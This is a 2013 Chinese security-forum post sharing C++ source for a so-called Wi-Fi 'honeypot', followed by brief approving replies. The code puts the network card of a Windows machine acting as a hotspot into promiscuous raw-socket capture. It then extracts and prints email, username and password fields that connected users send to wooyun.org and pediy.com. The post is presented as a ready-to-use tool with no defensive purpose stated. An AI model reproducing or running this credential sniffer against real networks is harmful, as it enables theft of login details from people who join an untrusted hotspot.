首页
社区
课程
招聘
[原创]Windows下的无线热点蜜罐
发表于: 2013-9-30 23:59 13103

[原创]Windows下的无线热点蜜罐

2013-9-30 23:59
13103
#include <stdio.h>
#include <winsock2.h>
#include "DataStruct.h"
#include "InitSocket.h" 
#include <iostream>
#include "mstcpip.h"
using namespace std;
CInitSocket initSock;
int nRet = 0;
void IsWifiHoneypots(PCHAR pBuff)
{
    PIPHEADER pIphdr = (PIPHEADER)pBuff;

    pBuff += (pIphdr->ipVersion & 0xf) * sizeof(ULONG);

    PTCPHEADER pTcpHdr = (PTCPHEADER)pBuff;

    memset(szText, ' ', nRet);

    int dataLen = nRet - sizeof(IPHEADER) - sizeof(TCPHEADER);

    memcpy(szText, &pBuff[sizeof(TCPHEADER)], dataLen);

    int i = 0;
    char szEmail[MAXBYTE] = {0};
    PCHAR pEmail = szEmail;



    if(strstr(szText, "wooyun.org"))
    if(strstr(szText, "email"))
    {
        puts("--------------------------------------------");
        cout<<"found Wooyun.org password:" << endl;

        pEmail = strstr(szText, "email");

        for(i = 0; (pEmail[i] != '&'); i++);

        pEmail[i] = '\0';

        puts(pEmail);

        pEmail += i + 1;

        if(strstr(pEmail, "password"))
        {
            pEmail = strstr(pEmail, "password"); 

            for(i = 0; (pEmail[i] != '&'); i++);

            pEmail[i] = '\0';

            puts(pEmail);
        }

        puts("--------------------------------------------");
    }



    if(strstr(szText, "pediy.com"))
        if(strstr(szText, "username"))
        {
            puts("--------------------------------------------");
            cout<<"found pediy.com password:" << endl;

            pEmail = strstr(szText, "username");

            for(i = 0; (pEmail[i] != '&'); i++);

            pEmail[i] = '\0';

            puts(pEmail);

            pEmail += i + 1;

            if(strstr(pEmail, "md5password_utf="))
            {
                pEmail = strstr(pEmail, "md5password_utf=");

                for(i = 0; (pEmail[i] != 0x20); i++);

                pEmail[i] = '\0';

                puts(pEmail);
            }

            puts("--------------------------------------------");
    }
}

int main(void) 
{
    system("chcp 936 & cls & title windows wifi 蜜罐 by 半斤八兩 & color 0a");

    SOCKET sRaw = socket(AF_INET, SOCK_RAW, IPPROTO_IP);

    char szHostName[56];

    SOCKADDR_IN localAddr;

    struct hostent *pHost;
    gethostname(szHostName, 56);
    if ((pHost = gethostbyname((char*)szHostName)) == NULL)
    {
        return 0;
    }
    localAddr.sin_family = AF_INET;
    localAddr.sin_port = htons(0);
    memcpy(&localAddr.sin_addr.S_un.S_addr, pHost->h_addr_list[1], pHost->h_length);

    if (bind(sRaw, (PSOCKADDR)&localAddr, sizeof(localAddr)) == SOCKET_ERROR)
    {
        return 0;
    }

    DWORD dwValue = 1;

    if (ioctlsocket(sRaw, SIO_RCVALL, &dwValue) != 0)
    {
        return 0;
    }

    cout << "<<Listen in Wooyun.org and pediy.com>>" << endl << endl;

    char buff[1024];
    while(true)
    {
        nRet = recv(sRaw, buff, 1024, 0);
        if (nRet > 0)
        {
            buff[nRet] = '\0';
            IsWifiHoneypots(buff);
        }
    }
    closesocket(sRaw); 

    return 0;
}


[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

上传的附件:
收藏
免费 0
支持
分享
最新回复 (95)
雪    币: 223
活跃值: (516)
能力值: ( LV13,RANK:520 )
在线值:
发帖
回帖
粉丝
2


沙发自己坐,不能再被抢了.~  

------------------------------------------
补充一下,网卡的,我给固定死了,写的匆忙,大家需要自己选择哪个网卡
上传的附件:
2013-10-1 00:00
0
雪    币: 72
活跃值: (39)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
下载了,来看下,原来如此
2013-10-1 00:05
0
雪    币: 10
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
学习了!
2013-10-1 01:20
0
雪    币: 257
活跃值: (67)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
5
来看看,mark了
2013-10-1 01:22
0
雪    币: 20
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
mark^-^
2013-10-1 03:13
0
雪    币: 45
活跃值: (55)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
7
听说过,看看
2013-10-1 08:56
0
雪    币: 74
活跃值: (748)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
好像很厉害
2013-10-1 09:03
0
雪    币: 14
活跃值: (88)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
支持一下!!
2013-10-1 09:06
0
雪    币: 1040
活跃值: (1293)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
杀进去~!!!
2013-10-1 09:51
0
雪    币: 9941
活跃值: (2143)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
11
我觉得那个小车子,开进去,会被人偷了

能介绍一下如何做个小飞机吗?
2013-10-1 09:57
0
雪    币: 3
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
有意思,看看
2013-10-1 10:13
0
雪    币: 1040
活跃值: (1293)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
哈哈哈哈哈哈 ……太逗了……我想起那个笑话……说外国那边把IPONE绑在猫上面,把猫放出去,然后晚上回来的时候看看它一天都走了什么路程……国人看到了以后也模仿,最后IPONE不见了,猫也不见了~哈哈哈哈……
2013-10-1 10:57
0
雪    币: 10
活跃值: (231)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
14
最近研究的东西赶脚都有点小意思啊
2013-10-1 10:57
0
雪    币: 86
活跃值: (25)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
15
呵呵.... ..... ......
2013-10-1 11:01
0
雪    币: 202
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
16
听说过,看看
2013-10-1 11:23
0
雪    币: 141
活跃值: (318)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
有些人就是喜欢干这些事,,,,所以,你懂的
2013-10-1 11:40
0
雪    币: 243
活跃值: (247)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
18
学习一下。。。
2013-10-1 12:12
0
雪    币: 30
活跃值: (17)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19
必需支持!
2013-10-1 12:12
0
雪    币: 882
活跃值: (350)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
20
mark!!
2013-10-1 12:27
0
雪    币: 6723
活跃值: (1199)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
21
八两妹子v5啊
2013-10-1 12:39
0
雪    币: 45
活跃值: (21)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
22
一直默默的不敢用没有密码的wifi
2013-10-1 15:08
0
雪    币: 103
活跃值: (126)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
23
下下来 看看
2013-10-1 18:04
0
雪    币: 341
活跃值: (138)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
24
喜欢这个。。。。。。
2013-10-1 18:55
0
雪    币: 104
活跃值: (72)
能力值: ( LV2,RANK:15 )
在线值:
发帖
回帖
粉丝
25
没有明白这个虚拟wifi 是怎么当作正常wifi 用的? 通过接收端配合win7 功能就不用买真正无线路由器了吗?
2013-10-1 19:16
0
游客
登录 | 注册 方可回帖
返回
//